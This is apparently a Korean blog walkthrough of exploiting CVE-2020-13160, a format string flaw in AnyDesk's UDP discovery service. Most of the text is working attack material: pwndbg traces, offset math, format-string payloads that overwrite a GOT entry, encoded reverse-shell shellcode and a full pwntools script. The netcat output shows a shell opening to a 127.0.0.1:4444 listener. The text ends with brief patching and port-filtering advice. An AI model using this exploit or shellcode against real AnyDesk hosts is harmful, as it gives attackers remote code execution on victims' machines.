────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────
 ► 0         0x8ab346
   1         0x8aba98
   2         0x434395
   3   0x7fc702c5b2e2 g_logv+594
   4   0x7fc702c5b43f g_log+143
   5   0x7fc7046c11d1
   6   0x7fc7046c24a7 gtk_label_set_markup+135
   7         0x63ebc9
─────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/s 0x7fff73467670
0x7fff73467670:	"Failed to set text from markup due to error parsing markup: Error on line 1 char 47: Invalid UTF-8 encoded text in name - not valid '\205\376HOSTNAME %p'"
  • hostname 에서 두 번째 포멧 스트링 버그가 발생합니다.

➡️ 위 두 버그를 악용하면 overflow_arg_area 에서 임의 읽기 및 쓰기가 가능합니다.


Arbitrary Write

telescope 명령어로 overflow_arg_area 영역을 봐보면 스택 영역으로 연결된 주소들이 존재합니다.

pwndbg> telescope 0x00007fff73468410 200
...
69:03480x7fff73468758 —▸ 0x7fff73468920 ◂— 0x0
...
a2:05100x7fff73468920 ◂— 0x0
...
  • 69:0348 라인을 보면 스택 영역 주소에 스택 영역 주소가 저장되어 있고 해당 주소에는 0이 저장되어 있습니다.
  • 여기에 두 번의 포멧 스트링 버그를 이용해보면

먼저 0x7fff73468758 주소에 접근 해 exit@got 값을 씁니다.

...
69:03480x7fff73468758 —▸ 0x7fff73468920 ◂— exit@got
...
a2:05100x7fff73468920 ◂— exit@got
...
  • 0이 저장되던 곳에 exit@got 가 저장되게 됩니다.

다음으로 0x7fff73468920 주소에 접근해 0x1337 을 써보면

...
69:03480x7fff73468758 —▸ 0x7fff73468920 —▸ exit@got —▸ exit address
...
a2:05100x7fff73468920 —▸ exit@got —▸ 0x1337
...
  • exit 함수의 주소가 저장되던 곳에 0x1337 이 저장되게 됩니다.
  • 그래서 이후 exit 함수가 호출되면 rip0x1337 로 변조됩니다.

➡️ 위 원리를 이용하면 Arbitrary Write가 가능해집니다.


Offset 계산

먼저 Arbitrary Read & Write를 위한 각각의 오프셋을 구해보면

pwndbg> telescope 0x00007fff73468410 200
...
69:03480x7fff73468758 —▸ 0x7fff73468920 ◂— 0x0
...
a2:05100x7fff73468920 ◂— 0x0
...
  • 69:0348│ 0x7fff73468758 —▸ 0x7fff73468920 ◂— 0x0
    • offset / 8 + fsb_offset = 840(0x348) / 8 + 5 = 110
  • a2:0510│ 0x7fff73468920 ◂— 0x0
    • offset / 8 + fsb_offset = 1296(0x510) / 8 + 5 = 167

Read & Write Shellcode

%1$*1$x%165$ln + shellcode
  • %1$*1$x : 뒤에 오는 shellcode의 주소를 가져와서 문자열 출력 길이로 설정
  • %165$ln : 오프셋이 165 번째 떨어진 곳에 가서 출력한 바이트 길이를 8바이트 형태로 쓴다

➡️ 쉘 코드의 주소를 읽어서 원하는 위치에 쓸 수 있게 되었습니다.


exit@got Overwrite

[0x119ddc0] time@GLIBC_2.2.5 -> 0x7fff735e6910 (time) ◂— push rbp
  • time@got : 0x119ddc0 → 18472384

18472384 - 133 - 2 = 18472249
  • Failed to set text from markup ... → 133 Bytes
    • 파싱 에러 문자열
  • \x85\xfe → 2 Bytes
    • 파싱 에러를 유발할 잘못된 형식의 UTF-8 문자

\x85\xfe%18472249x%110$ln
  • \x85\xfe : 파싱 에러 유발을 위한 문자
  • %18472249x : 18472249 Bytes 만큼 출력하겠다
  • %110$ln : 오프셋 110번째 주소에 출력한 바이트 길이를 8바이트 형태로 쓴다

➡️ exit@got를 Overwrite 할 수 있게 되었습니다.


time@got → Shellcode Address

이제 위 포멧 스트링을 이용해서 페이로드를 짜보면

shellcode =  b""
shellcode += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48"
shellcode += b"\x8d\x05\xef\xff\xff\xff\x48\xbb\x59\x88\xc6"
shellcode += b"\x9c\x5f\xfe\x71\x38\x48\x31\x58\x27\x48\x2d"
shellcode += b"\xf8\xff\xff\xff\xe2\xf4\x33\xa1\x9e\x05\x35"
shellcode += b"\xfc\x2e\x52\x58\xd6\xc9\x99\x17\x69\x39\x81"
shellcode += b"\x5b\x88\xd7\xc0\x20\xfe\x71\x39\x08\xc0\x4f"
shellcode += b"\x7a\x35\xee\x2b\x52\x73\xd0\xc9\x99\x35\xfd"
shellcode += b"\x2f\x70\xa6\x46\xac\xbd\x07\xf1\x74\x4d\xaf"
shellcode += b"\xe2\xfd\xc4\xc6\xb6\xca\x17\x3b\xe1\xa8\xb3"
shellcode += b"\x2c\x96\x71\x6b\x11\x01\x21\xce\x08\xb6\xf8"
shellcode += b"\xde\x56\x8d\xc6\x9c\x5f\xfe\x71\x38"
 
p = gen_discover_packet(4919, 1, '\x85\xfe%1$*1$x%167$ln'+shellcode, '\x85\xfe%18472249x%110$ln', 'ad', 'main')
  • username 에서 먼저 포멧 스트링 버그가 터지면서

...
69:03480x7fff73468758 —▸ 0x7fff73468920 —▸ exit@got —▸ exit address
...
a2:05100x7fff73468920 —▸ exit@got —▸ exit address
...
  • 0x7fff73468758exit 함수 주소를 가리키게 될 거고

hostname 에서 두 번째 포맷 스트링 버그가 터지면서

...
69:03480x7fff73468758 —▸ 0x7fff73468920 —▸ exit@got —▸ shellcode address
...
a2:05100x7fff73468920 —▸ exit@got —▸ shellcode address
...
  • exit@got가 shellcode의 주소로 Overwrite 될 것입니다.

하지만 PoC 코드를 실행시켜보면

pwndbg> telescope 0x7fff73468758 1
00:00000x7fff73468758 —▸ 0x7fff73468920 —▸ 0x119ddc0 (time@got.plt) —▸ 0x1692138 ◂— 0x257824312a243125 ('%1$*1$x%')
pwndbg> x/s 0x1692138
0x1692138:	"%1$*1$x%167$lnH1\311H\201\351\366\377\377\377H\215\005\357\377\377\377H\273Y\210Ɯ_\376q8H1X'H-\370\377\377\377\342\364\063\241\236\005\065\374.RX\326ə\027i9\201[\210\327\300 \376q9\b\300Oz5\356+Rs\320ə5\375/p\246F\254\275\a\361tM\257\342\375\304ƶ\312\027;ᨳ,\226qk\021\001!\316\b\266\370\336V\215Ɯ_\376q8'"
  • shellcode의 시작 주소가 들어간게 아니라 포멧 스트링의 시작 주소가 들어가 있습니다.
  • 18바이트 정도 패딩을 줘야 할거 같습니다.

최종 페이로드

shellcode =  b""
shellcode += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48"
shellcode += b"\x8d\x05\xef\xff\xff\xff\x48\xbb\x59\x88\xc6"
shellcode += b"\x9c\x5f\xfe\x71\x38\x48\x31\x58\x27\x48\x2d"
shellcode += b"\xf8\xff\xff\xff\xe2\xf4\x33\xa1\x9e\x05\x35"
shellcode += b"\xfc\x2e\x52\x58\xd6\xc9\x99\x17\x69\x39\x81"
shellcode += b"\x5b\x88\xd7\xc0\x20\xfe\x71\x39\x08\xc0\x4f"
shellcode += b"\x7a\x35\xee\x2b\x52\x73\xd0\xc9\x99\x35\xfd"
shellcode += b"\x2f\x70\xa6\x46\xac\xbd\x07\xf1\x74\x4d\xaf"
shellcode += b"\xe2\xfd\xc4\xc6\xb6\xca\x17\x3b\xe1\xa8\xb3"
shellcode += b"\x2c\x96\x71\x6b\x11\x01\x21\xce\x08\xb6\xf8"
shellcode += b"\xde\x56\x8d\xc6\x9c\x5f\xfe\x71\x38"
 
p = gen_discover_packet(4919, 1, '\x85\xfe%1$*1$x%18x%167$ln'+shellcode, '\x85\xfe%18472249x%110$ln', 'ad', 'main')


Exploit Code

위의 페이로드로 익스플로잇 코드를 짜보면

Reverse ShellCode

shellcode = (
    b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48"
    b"\x8d\x05\xef\xff\xff\xff\x48\xbb\x59\x88\xc6"
    b"\x9c\x5f\xfe\x71\x38\x48\x31\x58\x27\x48\x2d"
    b"\xf8\xff\xff\xff\xe2\xf4\x33\xa1\x9e\x05\x35"
    b"\xfc\x2e\x52\x58\xd6\xc9\x99\x17\x69\x39\x81"
    b"\x5b\x88\xd7\xc0\x20\xfe\x71\x39\x08\xc0\x4f"
    b"\x7a\x35\xee\x2b\x52\x73\xd0\xc9\x99\x35\xfd"
    b"\x2f\x70\xa6\x46\xac\xbd\x07\xf1\x74\x4d\xaf"
    b"\xe2\xfd\xc4\xc6\xb6\xca\x17\x3b\xe1\xa8\xb3"
    b"\x2c\x96\x71\x6b\x11\x01\x21\xce\x08\xb6\xf8"
    b"\xde\x56\x8d\xc6\x9c\x5f\xfe\x71\x38"
)
  • IP : 127.0.0.1
  • PORT : 4444

Exploit Code

from pwn import *
import struct

ip = '127.0.0.1'
port = 50001

p = remote(ip, port, typ="udp")

def generate_packet(anydesk_id, os, hostname, username, info, func):
    packet  = b'\x3e\xd1\x01'
    packet += struct.pack('>I', anydesk_id)
    packet += struct.pack('>I', 0)
    packet += b'\x02' + bytes([os])
    packet += struct.pack('>I', len(hostname)) + hostname
    packet += struct.pack('>I', len(username)) + username
    packet += struct.pack('>I', 0)
    packet += struct.pack('>I', len(info)) + info
    packet += b'\x00'
    packet += struct.pack('>I', len(func)) + func
    packet += b'\x02\xc3\x51'
    return packet

shellcode = (
    b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48"
    b"\x8d\x05\xef\xff\xff\xff\x48\xbb\x59\x88\xc6"
    b"\x9c\x5f\xfe\x71\x38\x48\x31\x58\x27\x48\x2d"
    b"\xf8\xff\xff\xff\xe2\xf4\x33\xa1\x9e\x05\x35"
    b"\xfc\x2e\x52\x58\xd6\xc9\x99\x17\x69\x39\x81"
    b"\x5b\x88\xd7\xc0\x20\xfe\x71\x39\x08\xc0\x4f"
    b"\x7a\x35\xee\x2b\x52\x73\xd0\xc9\x99\x35\xfd"
    b"\x2f\x70\xa6\x46\xac\xbd\x07\xf1\x74\x4d\xaf"
    b"\xe2\xfd\xc4\xc6\xb6\xca\x17\x3b\xe1\xa8\xb3"
    b"\x2c\x96\x71\x6b\x11\x01\x21\xce\x08\xb6\xf8"
    b"\xde\x56\x8d\xc6\x9c\x5f\xfe\x71\x38"
)

print('sending payload ...')

hostname = b'\x85' + b'\xfe%1$*1$x%18x%167$ln' + shellcode
username = b'\x85\xfe%18472249x%110$ln'
info = b'ad'
function = b'main'

payload = generate_packet(4919, 1, hostname, username, info, function)
p.send(payload)

print('reverse shell should connect within 5 seconds')


Exploit

nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
❯ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 50001: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
[*] '/home/is119/CVE-2020-13160/anydesk'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
sending payload ...
reverse shell should connect within 5 seconds
[*] Closed connection to 127.0.0.1 port 50001
nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from localhost 59682 received!
id    
uid=1000(is119) gid=1000(is119) groups=1000(is119),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),129(libvirt)

결론

권장 조치 요약

소프트웨어 업데이트

  • AnyDesk 버전 5.5.3 이상으로 업데이트

네트워크 방어

  • UDP 포트 50001에 대한 접근을 제한하여 공격자가 악의적인 패킷을 전송하지 못하도록 방지

취약점 관리

  • 시스템 및 네트워크에서 CVE-2020-13160과 관련된 활동을 모니터링하고, 보안 솔루션을 통해 탐지 및 차단 기능을 강화

0개의 댓글